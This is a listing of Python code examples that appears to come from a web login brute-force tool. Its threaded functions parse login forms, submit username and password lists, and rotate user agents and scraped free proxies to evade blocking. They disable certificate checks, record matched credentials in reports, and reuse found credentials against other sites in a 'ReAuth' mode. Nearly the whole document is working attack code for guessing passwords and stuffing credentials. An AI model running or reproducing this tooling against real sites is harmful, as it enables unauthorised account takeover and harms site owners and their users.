Esempio n. 1
0
def submit(optionURL, tryCreds, optionProxy, optionVerbose, result):

    try:
        proc = tbrowser.startBrowser()
        proc.addheaders = [('User-Agent', tbrowser.useragent())]

        utils.printf("[+] Checking %s" % (optionURL))

        proc.open(optionURL)
        loginInfo = tbrowser.parseLoginForm(proc.forms())

    except Exception as err:
        if optionVerbose:
            utils.printf("[x] ReAuth: %s at %s" % (err, optionURL), "bad")

    if not loginInfo:
        if optionVerbose:
            utils.printf(
                "[x] ReAuth: Can't find login form at %s" % (optionURL), "bad")
    else:
        try:
            loginbrute.submit(
                optionURL,
                tryCreds[::-1],
                optionProxy,  # Reverse username + password. Dynamic submit in loginbrute
                "",
                optionVerbose,
                loginInfo,
                result,
                True  # No key false by default, result now should be url
            )
        except Exception as err:
            if optionVerbose:
                utils.printf("[x] ReAuth: Submitting error for %s" % (err),
                             "bad")
Esempio n. 2
0
def parseFormInfo(optionURL):
    ######################################
    #	Test connect to URL
    #	Fetch login field
    #	TODO print ONLY ONE status message
    #
    #####################################

    try:
        process = tbrowser.startBrowser()
        user_agent = tbrowser.useragent()

        process.addheaders = [('User-Agent', user_agent)]

        process.open(optionURL)
        #utils.printf("Connected. Getting form information...", "good")

        formLoginID, formUserfield, formPasswdfield = tbrowser.getLoginForm(
            process.forms())
        #utils.printf("Found login form", "good")
        return formLoginID, formUserfield, formPasswdfield
    except TypeError as error:
        #utils.printf("Can not find login form", "bad")
        #sys.exit(1)
        utils.die("Can not find login form", error)

    except Exception as error:
        #utils.printf(error, "bad")
        utils.die("Checking connection error", error)

    finally:
        process.close()
Esempio n. 3
0
def connProxy(proxyAddr, target):
    try:
        proxyTest = tbrowser.startBrowser()
        user_agent = tbrowser.useragent()
        proxyTest.addheaders = [('User-Agent', user_agent)]
        utils.printf(proxyAddr)
        proxyTest.set_proxies({"http": proxyAddr})
        proxyTest.open(target)
        utils.printf(proxyAddr, "good")
        return proxyAddr
    except Exception as error:
        utils.printf("%s %s" % (proxyAddr, error), "bad")
        return None
    finally:
        try:
            proxyTest.close()
        except:
            pass
Esempio n. 4
0
    def checProxyConnProvider(url="https://free-proxy-list.net/"):
        try:
            utils.printf("Connecting to %s." % (url))

            getproxy = tbrowser.startBrowser()

            user_agent = tbrowser.useragent()

            getproxy.addheaders = [('User-Agent', user_agent)]
            getproxy.open(url)
            utils.printf("Gathering proxies completed.", "good")
            return getproxy.response().read()

        except Exception as error:
            utils.die("GetProxy: Error while connecting to proxy server!",
                      error)
        finally:
            getproxy.close()
Esempio n. 5
0
def get_proxy_list(url="https://free-proxy-list.net/"):
    try:
        utils.printf("Connecting to %s." % (url))
        # getproxy = mechanize.Browser()
        # getproxy.set_handle_robots(False)

        getproxy = tbrowser.startBrowser()

        user_agent = tbrowser.useragent()

        getproxy.addheaders = [('User-Agent', user_agent)]
        getproxy.open(url)
        utils.printf("Gathering proxy completed.", "good")
        return getproxy.response().read()

    except Exception as error:
        utils.die("Error while connecting to live proxy server!", error)
    finally:
        getproxy.close()
Esempio n. 6
0
    def checProxyConn(proxyAddr, target, result, verbose):
        try:
            proxyTest = tbrowser.startBrowser()
            user_agent = tbrowser.useragent()
            proxyTest.addheaders = [('User-Agent', user_agent)]
            proxyTest.set_proxies({"http": proxyAddr})

            if verbose:
                utils.printf("Trying: %s" % (proxyAddr))

            proxyTest.open(target)

            if verbose:
                utils.printf("Success: %s" % (proxyAddr), "good")
            result.put(proxyAddr)

        except Exception as error:
            if verbose:
                utils.printf("%s %s" % (proxyAddr, error), "bad")
        finally:
            try:
                proxyTest.close()
            except:
                pass
Esempio n. 7
0
def submit(optionURL, tryCred, setProxyList, setKeyFalse, optionVerbose,
           loginInfo, result, optionReauth):

    #	Get login form field informations

    # BUG parse form issue with gmail, move to tbrowser.parseLoginForm
    frmLoginID, frmFields = loginInfo
    tryPassword, tryUsername = tryCred

    proc = tbrowser.startBrowser()

    user_agent = tbrowser.useragent()
    proc.addheaders = [('User-Agent', user_agent)]

    for cred in list(result.queue):
        if tryUsername == cred[0]:
            return 0  # don't run if find password of username

    if setProxyList:
        #Set proxy connect
        proxyAddr = actions.randomFromList(setProxyList)
        proc.set_proxies({"http": proxyAddr})

    try:

        proc.open(optionURL)

        #	Select login form

        proc.select_form(nr=frmLoginID)

        # FILLS ALL FIELDS https://stackoverflow.com/a/5389578

        for field, cred in zip(frmFields, tryCred):
            proc.form[field] = cred

        #	Send request
        proc.submit()

        if optionVerbose:
            utils.printf("Trying: %s:%s" % (tryUsername, tryPassword), 'norm')
            if setProxyList:
                utils.printf("Using proxy: %s" % (proxyAddr), 'norm')

        #	Reload - useful for redirect to dashboard
        proc.reload()
        #	If no login form -> success
        #	TODO improve condition to use captcha

        if not tbrowser.parseLoginForm(proc.forms()):

            if setKeyFalse:
                if setKeyFalse not in proc.response().read():

                    # Add creds to success list
                    # If verbose: print
                    if tryUsername:
                        utils.printf(
                            "[*] Match found: %s:%s" %
                            (tryUsername, tryPassword), "good")
                        #result.put([tryUsername, tryPassword])
                    else:
                        utils.printf("[*] Password found: %s" % (tryPassword),
                                     "good")
                        #result.put([tryPassword])
                    if not optionReauth:
                        result.put([tryUsername, tryPassword])
                    else:
                        result.put([
                            optionURL.split("/")[2], tryUsername, tryPassword
                        ])

                    #	Clear object and try new username

                else:
                    if optionVerbose:
                        utils.printf(
                            "[-] Failed: %s:%s" % (tryUsername, tryPassword),
                            "bad")

            else:
                if tryUsername:
                    utils.printf(
                        "[*] Match found: %s:%s" % (tryUsername, tryPassword),
                        "good")
                    #result.put([tryUsername, tryPassword])
                else:
                    utils.printf("[*] Password found: %s" % (tryPassword),
                                 "good")
                    #result.put([tryPassword])
                if not optionReauth:
                    result.put([tryUsername, tryPassword])
                else:
                    result.put(
                        [optionURL.split("/")[2], tryUsername, tryPassword])

                #	Clear object and try new username
        else:
            if optionVerbose:
                utils.printf("[-] Failed: %s:%s" % (tryUsername, tryPassword),
                             "bad")

    except mechanize.HTTPError as error:
        #	Get blocked
        if optionVerbose:
            utils.printf(
                "[x] Error: %s:%s\n%s at %s" %
                (tryUsername, tryPassword, error, optionURL), "bad")
        return False

    except Exception as error:
        if optionVerbose:
            utils.printf(
                "[x] Error: %s:%s\n%s at %s" %
                (tryUsername, tryPassword, error, optionURL), "bad")
        return False

    finally:
        proc.close()
    return True
Esempio n. 8
0
def main(optionURL, setOptions, optionRunMode, setRunOptions):
    def do_job(jobs):
        for job in jobs:
            job.start()
            utils.printp
        for job in jobs:
            job.join()

    import time, os, threading

    # CHECK IMPORTING ALL LIBS. IMPORT HERE -> CALL HELP_BANNER ONLY FASTER
    try:
        import mechanize, re, requests  # for basichttpauthentication, not useless, use later
    except ImportError as err:
        utils.die(err, "Try: pip install %s" % (str(err).split(" ")[-1]))

    try:
        _create_unverified_https_context = ssl._create_unverified_context
    except AttributeError:
        # Legacy Python that doesn't verify HTTPS certificates by default
        pass
    else:
        # Handle target environment that doesn't support HTTPS verification
        ssl._create_default_https_context = _create_unverified_https_context

    try:
        from Queue import Queue
    except ImportError:
        from queue import Queue

    result = Queue()

    # BUG bad memory management

    optionUserlist, optionThreads, optionKeyFalse, optionPasslist = setOptions.values(
    )
    optionProxy, optionReport, optionVerbose = setRunOptions.values()

    try:
        optionUserlist = optionUserlist.split("\n")
    except:
        pass

    try:
        optionPasslist = optionPasslist.split("\n")
    except:
        pass

    ## End of testing

    timeStarting = time.time()

    # get login form info
    # call brute

    IS_REGULAR = True

    # IF NOT HTTP BASIC AUTHENTICATION, CHECK RESULT AND PARSE LOGIN FORM
    proc = tbrowser.startBrowser()
    proc.addheaders = [('User-Agent', tbrowser.useragent())]

    if optionRunMode not in ["--httpauth"]:

        try:
            utils.printf("Checking connection...")
            proc.open(optionURL)
            #TODO PROXY
            utils.printf("[*] Connect success!", "good")
            loginInfo = tbrowser.parseLoginForm(proc.forms())

            if not loginInfo:
                utils.die("[x] URL error", "No login field found")

            elif actions.size_o(loginInfo[1]) == 1:  # Password checking only
                utils.printf("[*] Form with password field", "good")
                del optionUserlist[:]
                optionUserlist = [""]
                IS_REGULAR = False

            elif actions.size_o(loginInfo[1]) == 2:
                utils.printf("[*] Form username+password field", "good")

        except Exception as err:
            utils.die("[x] Can't connect to target", err)

        finally:
            proc.close()

    #### END OF CHECKING TARGET

    sizePasslist = actions.size_o(optionPasslist)
    sizeUserlist = actions.size_o(optionUserlist)
    workers = []

    utils.printf("Starting attack....\nTask count: %s tasks" %
                 (sizeUserlist * sizePasslist))

    ############################
    #	Setting up threads
    ############################

    try:
        for password in optionPasslist:
            for username in optionUserlist:
                username, password = username.replace("\n",
                                                      ""), password.replace(
                                                          "\n", "")

                ####
                #	IF HAVE ENOUGH THREAD, DO IT ALL
                ###
                if actions.size_o(workers) == optionThreads:
                    do_job(workers)
                    del workers[:]

                if optionRunMode == "--brute":
                    worker = threading.Thread(
                        target=loginbrute.submit,
                        args=(optionURL, [password, username
                                          ], optionProxy, optionKeyFalse,
                              optionVerbose, loginInfo, result))
                elif optionRunMode == "--httpauth":
                    worker = threading.Thread(target=httpauth.submit,
                                              args=(optionURL, username,
                                                    password, optionProxy,
                                                    optionVerbose, result))
                worker.daemon = True
                workers.append(worker)

    ######### END SETTING UP THREADS ################

    #DO ALL LAST TASKs
        do_job(workers)
        del workers[:]

    ### CATCH ERRORS ###
    except KeyboardInterrupt:  # as error:
        # TODO: kill running threads here
        utils.die("[x] Terminated by user!", "KeyboardInterrupt")

    except SystemExit:  # as error
        utils.die("[x] Terminated by system!", "SystemExit")

    except Exception as error:
        utils.die("[x] Runtime error", error)

    ### ALL TASKS DONE ####
    finally:
        runtime = time.time() - timeStarting
        """
			All threads have been set daemon
			Running threads should be stopped after main task done
		"""
        ############################################
        #	Get result
        #
        ############################################

        try:
            credentials = list(result.queue)
            if actions.size_o(credentials) == 0:
                utils.printf("[-] No match found!", "bad")

            else:
                utils.printf(
                    "\n[*] %s valid password[s] found:\n" %
                    (actions.size_o(credentials)), "norm")

                if IS_REGULAR:
                    utils.print_table(("Username", "Password"), *credentials)
                else:
                    if optionRunMode != "--sqli":
                        utils.print_table(("", "Password"), *credentials)
                    else:
                        utils.print_table(("Payload", ""),
                                          *credentials)  # TODO: test more

            ### CREATE REPORT ####
            if optionReport:
                try:
                    import reports

                    optionProxy = "True" if optionProxy else "False"
                    report_name = "%s_%s" % (time.strftime("%Y.%m.%d_%H.%M"),
                                             optionURL.split("/")[2])
                    report_path = "%s/%s.txt" % (reports.__path__[0],
                                                 report_name)

                    reports.makeReport(
                        utils.report_banner(optionURL, optionRunMode,
                                            optionProxy, optionThreads,
                                            credentials, report_name, runtime,
                                            IS_REGULAR), report_path)

                    utils.printf("\n[*] Report file at:\n%s" % (report_path),
                                 "good")

                except Exception as err:
                    utils.printf("[x] Error while creating report: %s" % (err),
                                 "bad")

        except Exception as err:
            utils.printf("\n[x] Error while getting result.\n", "bad")
            utils.printf(err, "bad")

        utils.printf("\n[*] Time elapsed: %0.5s [s]\n" % (runtime), "good")

        sys.exit(0)
Esempio n. 9
0
def main(optionURL, setOptions, optionRunMode, setRunOptions):
    def do_job(jobs):
        for job in jobs:
            job.start()

        for job in jobs:
            job.join()

    import time, os, threading

    # CHECK IMPORTING ALL LIBS. IMPORT HERE -> CALL HELP_BANNER ONLY FASTER
    try:
        import mechanize, re, ssl, requests  # for basichttpauthentication, not useless, use later
    except ImportError as err:
        utils.die(err, "Try: pip install %s" % (str(err).split(" ")[-1]))

    try:
        _create_unverified_https_context = ssl._create_unverified_context
    except AttributeError:
        # Legacy Python that doesn't verify HTTPS certificates by default
        pass
    else:
        # Handle target environment that doesn't support HTTPS verification
        ssl._create_default_https_context = _create_unverified_https_context

    try:
        from Queue import Queue
    except ImportError:
        from queue import Queue

    result = Queue()

    # BUG bad memory management

    optionUserlist, optionThreads, optionKeyFalse, optionPasslist = setOptions.values(
    )
    optionProxy, optionReport, optionVerbose = setRunOptions.values()

    try:
        optionUserlist = optionUserlist.split("\n")
    except:
        #optionUserlist = optionUserlist.readlines()
        pass

    # TODO Must testing cases with list and file object
    try:
        optionPasslist = optionPasslist.split("\n")
    except:
        pass

    ## End of testing

    timeStarting = time.time()

    # get login form info
    # call brute

    sizePasslist = actions.size_o(optionPasslist)
    sizeUserlist = actions.size_o(optionUserlist)

    proc = tbrowser.startBrowser()
    proc.addheaders = [('User-Agent', tbrowser.useragent())]

    try:
        utils.printf("Checking connection...")
        proc.open(optionURL)
        #TODO PROXY
        loginInfo = tbrowser.getLoginForm(optionURL, proc, optionVerbose)
        utils.printf("Connect success!", "good")

    except Exception as err:
        utils.die("Error while parsing login form", err)

    finally:
        proc.close()

    utils.printf("Starting attack.... %s tasks" %
                 (sizeUserlist * sizePasslist))

    workers = []
    trying = 0

    try:
        for password in optionPasslist:
            for username in optionUserlist:

                if len(workers) == optionThreads:
                    do_job(workers)
                    del workers[:]
                if optionRunMode == "--brute":
                    worker = threading.Thread(
                        target=loginbrute.submit,
                        args=(optionURL, username.replace("\n", ""),
                              password.replace("\n", ""),
                              sizeUserlist * sizePasslist, optionProxy,
                              optionKeyFalse, optionVerbose, loginInfo,
                              result))

                worker.daemon = True
                workers.append(worker)

        #DO ALL LAST TASKs
        do_job(workers)
        del workers[:]

    except KeyboardInterrupt:  # as error:
        # TODO: kill running threads here
        utils.die("Terminated by user!", "KeyboardInterrupt")

    except SystemExit:  # as error
        utils.die("Terminated by system!", "SystemExit")

    except Exception as error:
        utils.die("Error while running", error)

    finally:
        runtime = time.time() - timeStarting
        """
			All threads have been set daemon
			Running threads should be stopped after main task done
		"""
        ############################################
        #	Get result
        #
        ############################################

        try:
            credentials = list(result.queue)
            if len(credentials) == 0:
                utils.printf("[-] No valid password found!", "bad")

            else:
                utils.printf(
                    "\n[*] %s valid password[s] found:\n" % (len(credentials)),
                    "norm")
                utils.print_table(("Username", "Password"), *credentials)

            if optionReport:
                try:
                    import report

                    optionProxy = "True" if optionProxy else "False"
                    report_name = "%s_%s" % (time.strftime("%Y.%m.%d_%H.%M"),
                                             optionURL.split("/")[2])
                    report_path = "%s/%s.txt" % (reports.__path__[0],
                                                 report_name)

                    reports.makeReport(
                        utils.report_banner(optionURL, optionRunMode,
                                            optionProxy, optionThreads,
                                            credentials, report_name, runtime),
                        report_path)

                    utils.printf("\n[*]Report file at:\n%s" % (report_path),
                                 "good")

                except Exception as err:
                    utils.printf("Error while creating report: %s" % (err),
                                 "bad")

        except Exception as err:
            utils.printf("\nError while getting result.\n", "bad")
            utils.printf(err, "bad")

        utils.printf("\nCompleted. Run time: %0.5s [s]\n" % (runtime))

        ########################################
        #	Clear resources
        #
        ########################################

        try:
            optionPasslist.close()
        except:
            pass
        try:
            optionUserlist.close()
        except:
            pass

        sys.exit(0)
Esempio n. 10
0
def handle(optionURL, optionUserlist, optionPasslist, sizePasslist,
           setProxyList, setKeyFalse):
    ############################################
    #	Old code logic:
    #		Create 1 browser object per password
    #	Current:
    #		Create 1 browser object per username
    #		Pick 1 user agent per password try
    #
    ############################################

    #	Get login form field informations
    frmLoginID, frmUserfield, frmPassfield = parseFormInfo(optionURL)
    #	Get single Username in username list / file
    for tryUsername in optionUserlist:
        #	If tryUsername is file object, remove \n
        #	tryUsername = tryUsername[:-1]
        tryUsername = tryUsername.replace('\n', '')
        try:
            optionPasslist.seek(0)
        except:
            pass

        ######	new test code block
        proc = tbrowser.startBrowser()
        # proc = mechanize.Browser()
        # proc.set_handle_robots(False)
        ######

        idxTry = 0
        for tryPassword in optionPasslist:
            #	Get single Password, remove \n
            tryPassword = tryPassword.replace('\n', '')

            #	New test code block: add new user_agent each try
            user_agent = tbrowser.useragent()
            proc.addheaders = [('User-Agent', user_agent)]

            #print "Debug: %s:%s" %(tryUsername, tryPassword)

            if setProxyList:
                #Set proxy connect
                proxyAddr = actions.randomFromList(setProxyList)
                #utils.printf("Debug: proxy addr %s" %(proxyAddr))
                proc.set_proxies({"http": proxyAddr})

            proc.open(optionURL)
            #	End new code block

            try:
                idxTry += 1

                #	Select login form
                proc.select_form(nr=frmLoginID)
                proc.form[frmUserfield] = tryUsername
                proc.form[frmPassfield] = tryPassword

                #	Print status bar
                utils.printp(tryUsername, idxTry, sizePasslist)

                #	Send request
                proc.submit()

                #	Reload - useful for redirect to dashboard
                proc.reload()

                #	If no login form -> success
                #	TODO improve condition to use captcha
                if not tbrowser.getLoginForm(proc.forms()):

                    #TODO edit mixed condition
                    if setKeyFalse:
                        if setKeyFalse not in proc.response().read():

                            # Add creds to success list
                            # If verbose: print

                            printSuccess(tryUsername, tryPassword)

                            #	Clear object and try new username
                            proc.close()
                            break
                    else:
                        utils.printSuccess(tryUsername, tryPassword)

                        #	Clear object and try new username
                        proc.close()
                        break

            except mechanize.HTTPError as error:
                #	Get blocked
                utils.die("Thread has been blocked", error)

        proc.close()
Esempio n. 11
0
def submit(optionURL, tryUsername, tryPassword, sizeTask, setProxyList,
           setKeyFalse, optionVerbose, loginInfo, result):
    ############################################
    #	Old code logic:
    #		Create 1 browser object per password
    #	Current:
    #		Create 1 browser object per username
    #		Pick 1 user agent per password try
    #
    ############################################

    #	Get login form field informations
    frmLoginID, frmUserfield, frmPassfield = loginInfo
    #	Get single Username in username list / file

    proc = tbrowser.startBrowser()

    #	Get single Password, remove \n

    #	New test code block: add new user_agent each try
    user_agent = tbrowser.useragent()
    proc.addheaders = [('User-Agent', user_agent)]

    for cred in list(result.queue):
        if tryUsername == cred[0]:
            # if optionVerbose:
            # 	utils.printf("Canceled: %s:%s" %(tryUsername, tryPassword))
            return 0  # don't run if find password of username

    if setProxyList:
        #Set proxy connect
        proxyAddr = actions.randomFromList(setProxyList)
        #utils.printf("Debug: proxy addr %s" %(proxyAddr))
        proc.set_proxies({"http": proxyAddr})

    proc.open(optionURL)
    #	End new code block

    try:

        #	Select login form
        proc.select_form(nr=frmLoginID)
        proc.form[frmUserfield] = tryUsername
        proc.form[frmPassfield] = tryPassword

        #	Send request
        proc.submit()

        #	Print status bar
        if optionVerbose:
            utils.printf("Trying: %s:%s" % (tryUsername, tryPassword), 'norm')
            if setProxyList:
                utils.printf("Using proxy: %s" % (proxyAddr), 'norm')

        #utils.printp(trying, sizeTask)

        #proc.submit()
        #	Reload - useful for redirect to dashboard
        proc.reload()
        #	If no login form -> success
        #	TODO improve condition to use captcha

        if not tbrowser.parseLoginForm(proc.forms()):

            if setKeyFalse:
                if setKeyFalse not in proc.response().read():

                    # Add creds to success list
                    # If verbose: print

                    utils.printf(
                        "Match found: %s:%s" % (tryUsername, tryPassword),
                        "good")
                    result.put([tryUsername, tryPassword])

                    #	Clear object and try new username
                    proc.close()

                else:
                    if optionVerbose:
                        utils.printf(
                            "Failed: %s:%s" % (tryUsername, tryPassword),
                            "bad")

            else:
                utils.printf("Match found: %s:%s" % (tryUsername, tryPassword),
                             "good")
                result.put([tryUsername, tryPassword])

                #	Clear object and try new username
                proc.close()
        else:
            if optionVerbose:
                utils.printf("Failed: %s:%s" % (tryUsername, tryPassword),
                             "bad")

    except mechanize.HTTPError as error:
        #	Get blocked
        if optionVerbose:
            utils.printf(
                "Error: %s:%s\n%s" % (tryUsername, tryPassword, error), "bad")
        return False
    except Exception as error:

        if optionVerbose:
            utils.printf(
                "Error: %s:%s\n%s" % (tryUsername, tryPassword, error), "bad")
        return False

    proc.close()
    return True